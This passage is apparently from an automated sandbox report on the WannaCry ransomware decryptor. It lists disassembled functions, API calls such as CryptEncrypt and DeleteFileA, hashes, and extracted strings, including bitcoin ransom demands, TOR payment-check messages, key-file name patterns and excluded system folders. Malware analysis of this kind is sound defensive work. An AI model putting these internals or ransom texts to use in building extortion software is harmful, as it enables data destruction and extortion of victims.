                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: recv
                                        • String ID:
                                        • API String ID: 1507349165-0
                                        • Opcode ID: 1d9f9cd7d87b293edf20ef63389b80cde037e3ff80316bdb179f77fce595cd06
                                        • Instruction ID: 7776e5be7928a6c2c2562dd3bb1774681ff5e82bf649542f35cb965541f1d725
                                        • Opcode Fuzzy Hash: 1d9f9cd7d87b293edf20ef63389b80cde037e3ff80316bdb179f77fce595cd06
                                        • Instruction Fuzzy Hash: 0BC04CB9204300FFD204CB10CD85F6BB7A9EBD4711F10C90DB98D86254C670EC10DA65
                                        Function 0040DF30 Relevance: .5, Instructions: 515COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 9b8eabf12bd29c3c38fc8e7bc8212d9d6bf0432072041c2816a53c5bd799d9a5
                                        • Instruction ID: e5ae74944e208cb03c60f72bb217c75502e03934b58f7a9b199ce6c2a9593854
                                        • Opcode Fuzzy Hash: 9b8eabf12bd29c3c38fc8e7bc8212d9d6bf0432072041c2816a53c5bd799d9a5
                                        • Instruction Fuzzy Hash: 5E2239B46083018FC308CF29D590A2ABBE1FF88354F148A6EE49AD7751D734E955CF5A
                                        Function 00410460 Relevance: .4, Instructions: 377COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 5ba8141ea2280d0230f62837d297c6f142902cf6410748b00ceee70376d87497
                                        • Instruction ID: d75a74fb3a0dfdb81fbbcc262e1caa4e3a0368247a27923ffbf4d457c3a86cdc
                                        • Opcode Fuzzy Hash: 5ba8141ea2280d0230f62837d297c6f142902cf6410748b00ceee70376d87497
                                        • Instruction Fuzzy Hash: E4E105B5600A018FD334CF19D490A62FBF2EF89310B25C96ED4AACB761D775E886CB54
                                        Function 0040FBC0 Relevance: .4, Instructions: 359COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: d6486e9592c2cb46b2c7999eca97cef0babd6418c513dfe1291d56d14bfb9792
                                        • Instruction ID: 2ca3a7e0973b0a9ded1865a7ec8cc067e044c270efaf411a13bb96b1b7e56096
                                        • Opcode Fuzzy Hash: d6486e9592c2cb46b2c7999eca97cef0babd6418c513dfe1291d56d14bfb9792
                                        • Instruction Fuzzy Hash: DDD1B73560C3418FC718CF2CD59016ABBE1EB99310F19497EE9DAA3756C734E819CB89
                                        Function 00410180 Relevance: .1, Instructions: 127COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
                                        • Instruction ID: 6bb151cab00cdc0290d3db98aa961ff277c67549bb944e7b7c7e1e2eea59e94c
                                        • Opcode Fuzzy Hash: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
                                        • Instruction Fuzzy Hash: A1314D3374558203F71DCA2F8CA12FAEAD34FD522872DD57E99C987356ECFA48564104
                                        Function 0040FF90 Relevance: .1, Instructions: 109COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 5d39ba973bdaee26a7e96979db138631e8a564ea24786ef9523c099e99afe77a
                                        • Instruction ID: cecdefe8fda50f928b4117980ad8d25e533be349777a256c316ace181cfd3b57
                                        • Opcode Fuzzy Hash: 5d39ba973bdaee26a7e96979db138631e8a564ea24786ef9523c099e99afe77a
                                        • Instruction Fuzzy Hash: 1E31A6627A959207D350CEBEAC90277BB93D7DB306B6CC678D584C7A0EC579D8078244
                                        Function 004090F0 Relevance: 56.5, APIs: 21, Strings: 11, Instructions: 454windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2414#540#5875#6170#800#860$#2818#2860#3874ExtentMessageObjectPoint32SendTextViewportWindow_ftol
                                        • String ID: %d%%$gfff$pgA$pgA$tgA$tgA$xgA$xgA$|gA$|gA$[A
                                        • API String ID: 2923375784-3599407550
                                        • Opcode ID: 7e6b703d67e7595773a4bd55965276fd3caf6c6c14634650179ea244f19e8907
                                        • Instruction ID: e7c60e05cab477c723c52aa9b6021990c4bcf2d63edfa6d200c8e4e6b3644932
                                        • Opcode Fuzzy Hash: 7e6b703d67e7595773a4bd55965276fd3caf6c6c14634650179ea244f19e8907
                                        • Instruction Fuzzy Hash: D312E2B0208381DFD714CF69C484A9BBBE5BBC8304F148A2EF89997391D774E945CB66
                                        Function 00405230 Relevance: 49.8, APIs: 33, Instructions: 279COMMON
                                        Download Yara Rule
                                        APIs
                                        • #940.MFC42(?), ref: 0040527D
                                        • #4277.MFC42(?,00000001), ref: 004052A0
                                        • #923.MFC42(?,00000000,?), ref: 004052B8
                                        • #858.MFC42(00000000,?,00000000,?), ref: 004052C5
                                        • #800.MFC42(00000000,?,00000000,?), ref: 004052D3
                                        • #800.MFC42(00000000,?,00000000,?), ref: 004052E4
                                        • #4129.MFC42(?,?), ref: 004052FC
                                        • #5710.MFC42 ref: 00405314
                                        • #922.MFC42(?,00000000,00000000), ref: 00405326
                                        • #858.MFC42(00000000,?,00000000,00000000), ref: 00405333
                                        • #800.MFC42(00000000,?,00000000,00000000), ref: 00405340
                                        • #800.MFC42(00000000,?,00000000,00000000), ref: 0040534E
                                        • #800.MFC42(00000000,?,00000000,00000000), ref: 0040535F
                                        • #940.MFC42(?), ref: 00405396
                                        • #5710.MFC42(?,?), ref: 004053B8
                                        • #4129.MFC42(?,?,?,?), ref: 004053D7
                                        • #922.MFC42(?,?,00000000,?,?,?,?), ref: 004053ED
                                        • #858.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 004053FA
                                        • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405407
                                        • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405415
                                        • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405426
                                        • #4129.MFC42(?,?), ref: 00405443
                                        • #4277.MFC42(?,?,?,?), ref: 0040545B
                                        • #922.MFC42(?,00000000,?,?,?,?,?), ref: 00405471
                                        • #858.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040547E
                                        • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040548B
                                        • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 00405499
                                        • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 004054AA
                                        • #6778.MFC42(?,00000001), ref: 004054EA
                                        • #6648.MFC42(00000000,00000001,?,00000001), ref: 004054F4
                                        • #6778.MFC42(00000000,?), ref: 00405536
                                        • #6648.MFC42(?,00000001,00000000,?), ref: 00405545
                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 0040555A
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #800$#858$#4129#922$#4277#5710#6648#6778#940$#923InvalidateRect
                                        • String ID:
                                        • API String ID: 2121400562-0
                                        • Opcode ID: b4a9873a0028e0a5de6b54efbba54189251206de77b36b87668466cc29092242
                                        • Instruction ID: 4ea7c19ebb0ecad4eacefd8b4ebc091e45acf9db756171f3a68d6c32b1a6cadd
                                        • Opcode Fuzzy Hash: b4a9873a0028e0a5de6b54efbba54189251206de77b36b87668466cc29092242
                                        • Instruction Fuzzy Hash: A4A1B770204B81AFC714DB29C590A6FB7E6EFD4304F040A1EF596D3391D7B8E8558B66
                                        Function 004086E0 Relevance: 40.6, APIs: 20, Strings: 3, Instructions: 324windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #470.MFC42 ref: 00408708
                                        • GetClientRect.USER32(?,?), ref: 0040871F
                                        • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00408730
                                        • #6734.MFC42(?,?), ref: 00408746
                                        • #323.MFC42(?,?), ref: 0040874F
                                        • CreateCompatibleDC.GDI32(?), ref: 004087D2
                                        • #1640.MFC42(00000000), ref: 004087DD
                                          • Part of subcall function 00409E70: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00409E85
                                          • Part of subcall function 00409E70: #1641.MFC42(00000000,?,00408809,?,?,?,00000000), ref: 00409E8E
                                          • Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F1D
                                        • #6194.MFC42(?,?,?,\gA,?,?,?,00000000), ref: 00408831
                                        • FillRect.USER32(?,?,?), ref: 0040887D
                                        • #2754.MFC42(?,?), ref: 00408892
                                        • #2381.MFC42(?,?,?), ref: 0040889F
                                        • #3797.MFC42(?,?,?), ref: 004088C0
                                        • _ftol.MSVCRT ref: 00408951
                                        • _ftol.MSVCRT ref: 0040896F
                                        • FillRect.USER32(?,00000000,00000000), ref: 004089B0
                                        • #640.MFC42(?,?,?), ref: 00408B09
                                        • #755.MFC42(?,?,?), ref: 00408B20
                                          • Part of subcall function 00409F80: BitBlt.GDI32(?,?,?,?,\gA,?,\gA,\gA,\gA), ref: 00409FB3
                                          • Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F2D
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Rect$#5785CompatibleCreateFill_ftol$#1640#1641#2381#2754#323#3797#470#6194#640#6734#755BitmapClientMessageSend
                                        • String ID: \gA$fA$fA
                                        • API String ID: 1027735583-2217880857
                                        • Opcode ID: 6ed80f763e045306e10188d4e497fb721b5fce89834b9b0f8741aa09041edacc
                                        • Instruction ID: b72dd9534e9f1d52b621f8c4883ea919de29669ae4f9aefa89eb3b477b52946b
                                        • Opcode Fuzzy Hash: 6ed80f763e045306e10188d4e497fb721b5fce89834b9b0f8741aa09041edacc
                                        • Instruction Fuzzy Hash: 33D12CB16083419FC314DF25C984AAFBBE9BBC8304F508E2EF1D993291DB749949CB56
                                        Function 00402AF0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 133COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: _wcsicmp$_wcsnicmpwcsstr
                                        • String ID: This folder protects against ransomware. Modifying it will reduce protection$Content.IE5$N(@$Temporary Internet Files$\AppData\Local\Temp$\Intel$\Local Settings\Temp$\Program Files$\Program Files (x86)$\ProgramData$\WINDOWS
                                        • API String ID: 2817753184-2613825984
                                        • Opcode ID: 5c5dcd1e390a91f16435822322ea41988894e25d1b71caeb8710faf8d967a9e6
                                        • Instruction ID: 690a6d88e0cbcba8c0a0bc490ea4abea364cf6131422823267360e98b5ddcfca
                                        • Opcode Fuzzy Hash: 5c5dcd1e390a91f16435822322ea41988894e25d1b71caeb8710faf8d967a9e6
                                        • Instruction Fuzzy Hash: 3831843235162023D520691D7D4AFCB638C8FE5727F554033FD44E52C1E29EB96A82BD
                                        Function 00401760 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 140filesynchronizationthreadCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #6453.MFC42 ref: 00401780
                                        • WaitForSingleObject.KERNEL32(?,00000BB8), ref: 00401797
                                        • TerminateThread.KERNEL32(?,00000000), ref: 004017A5
                                        • CloseHandle.KERNEL32(?), ref: 004017B2
                                        • sprintf.MSVCRT ref: 00401811
                                        • fopen.MSVCRT ref: 00401821
                                        • fread.MSVCRT ref: 00401844
                                        • fclose.MSVCRT ref: 0040184D
                                        • DeleteFileA.KERNEL32(?), ref: 0040185B
                                        • #537.MFC42(You have a new message:), ref: 00401885
                                        • #924.MFC42(?,00000000,?,You have a new message:), ref: 0040189C
                                        • #1200.MFC42 ref: 004018AF
                                        • #800.MFC42 ref: 004018BF
                                        • #800.MFC42 ref: 004018D3
                                        • #1200.MFC42(You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.,000000F0,00000000), ref: 004018E5
                                        Strings
                                        • Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 00401918
                                        • You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday., xrefs: 004018E0, 00401925
                                        • You have a new message:, xrefs: 00401877
                                        • %08X.dky, xrefs: 0040180A
                                        • Congratulations! Your payment has been checked!Start decrypting now!, xrefs: 00401934
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #1200#800$#537#6453#924CloseDeleteFileHandleObjectSingleTerminateThreadWaitfclosefopenfreadsprintf
                                        • String ID: %08X.dky$Congratulations! Your payment has been checked!Start decrypting now!$Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!$You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.$You have a new message:
                                        • API String ID: 2207195628-1375496427
                                        • Opcode ID: 0124457e6eab98ad7ab5e08ccab151a7b3cccaeabfe0b10511df38693a1a7d3a
                                        • Instruction ID: 8b94a0d45af64711c1f2f56a46f7a966efbefe6460f93d7d0814001cf74dce0a
                                        • Opcode Fuzzy Hash: 0124457e6eab98ad7ab5e08ccab151a7b3cccaeabfe0b10511df38693a1a7d3a
                                        • Instruction Fuzzy Hash: 1D41F371244740EFC330DB64C895BEB7699AB85710F404A3EF25AA32E0DABC5944CB6B
                                        Function 004012E0 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 202fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • sprintf.MSVCRT ref: 00401323
                                        • sprintf.MSVCRT ref: 00401339
                                        • GetFileAttributesA.KERNEL32(?), ref: 00401343
                                        • DeleteFileA.KERNEL32(?), ref: 0040139A
                                        • fread.MSVCRT ref: 00401405
                                        • fclose.MSVCRT ref: 00401408
                                        • sprintf.MSVCRT ref: 00401440
                                        • fopen.MSVCRT ref: 00401453
                                          • Part of subcall function 00404690: DeleteCriticalSection.KERNEL32(?,004015D8), ref: 0040469A
                                        • fopen.MSVCRT ref: 004013D5
                                          • Part of subcall function 00404640: InitializeCriticalSection.KERNEL32(?,?,0040158C), ref: 00404658
                                          • Part of subcall function 004047C0: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
                                          • Part of subcall function 004047C0: _local_unwind2.MSVCRT ref: 004048EB
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: sprintf$CriticalDeleteFileSectionfopen$AttributesCryptEncryptInitialize_local_unwind2fclosefread
                                        • String ID: %08X.dky$%08X.eky$%08X.pky$%08X.res$00000000.res$s.wnry
                                        • API String ID: 2787528210-4016014174
                                        • Opcode ID: 57a51ecc688d2c0761643bc18b0e2b9a7bca0d11f95f7de6ced9b52eb20b7f63
                                        • Instruction ID: 5d668cda142e4e69bdcb8de65b1bf6b3866dc1aa9a0cfc7ced8feefa58b75360
                                        • Opcode Fuzzy Hash: 57a51ecc688d2c0761643bc18b0e2b9a7bca0d11f95f7de6ced9b52eb20b7f63
                                        • Instruction Fuzzy Hash: 8A71BFB1104741AFD320DB60CC85FEBB3E9ABC4310F404A3EE59A87290EB78A4498B56
                                        Function 004076A0 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 239windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • time.MSVCRT ref: 004076DA
                                        • sprintf.MSVCRT ref: 0040780E
                                        • SendMessageA.USER32(?,00000402,?,00000000), ref: 0040785B
                                        • SendMessageA.USER32(?,00000402,?,00000000), ref: 00407870
                                        • #540.MFC42 ref: 00407876
                                        • _ftol.MSVCRT ref: 004078AA
                                        • #2818.MFC42(?,$%d,00000000), ref: 004078BE
                                        • #2818.MFC42(?,Send $%d worth of bitcoin to this address:,00000000), ref: 004078D1
                                        • #2818.MFC42(?,%.1f BTC,?,?), ref: 004078F5
                                        • #2818.MFC42(?,Send %.1f BTC to this address:,?,?), ref: 00407909
                                        • #3092.MFC42(00000402,?), ref: 0040791D
                                        • #6199.MFC42(00000402,?), ref: 00407924
                                        • InvalidateRect.USER32(?,00000000,00000001,00000402,?), ref: 0040795A
                                        • #800.MFC42 ref: 0040799F
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2818$MessageSend$#3092#540#6199#800InvalidateRect_ftolsprintftime
                                        • String ID: $%d$%.1f BTC$%02d;%02d;%02d;%02d$00;00;00;00$Send $%d worth of bitcoin to this address:$Send %.1f BTC to this address:
                                        • API String ID: 993288296-3256873439
                                        • Opcode ID: 4d580652efe8d7a149869b3900c519b1c6978745f6efd4f0e097fd633cdec313
                                        • Instruction ID: 9b53b323f570066dafa0cf34324f53a17123da88a1e7ff32529d6bfb7c89d06c
                                        • Opcode Fuzzy Hash: 4d580652efe8d7a149869b3900c519b1c6978745f6efd4f0e097fd633cdec313
                                        • Instruction Fuzzy Hash: 3281D4B1A043019BD720DF18C981FAB77E9EF88700F04893EF949DB395DA74A9058B96
                                        Function 00405E10 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 144COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E4F
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E71
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E93
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405EB5
                                          • Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F2F
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F93
                                        • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FA9
                                        • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FB9
                                        • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FC9
                                        • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FD9
                                        • #781.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FE9
                                          • Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
                                          • Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD
                                          • Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                          • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                          • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                          • Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                        • #654.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406066
                                        • #765.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406072
                                          • Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
                                          • Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD
                                        • #609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406092
                                        • #609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060A2
                                        • #616.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060AF
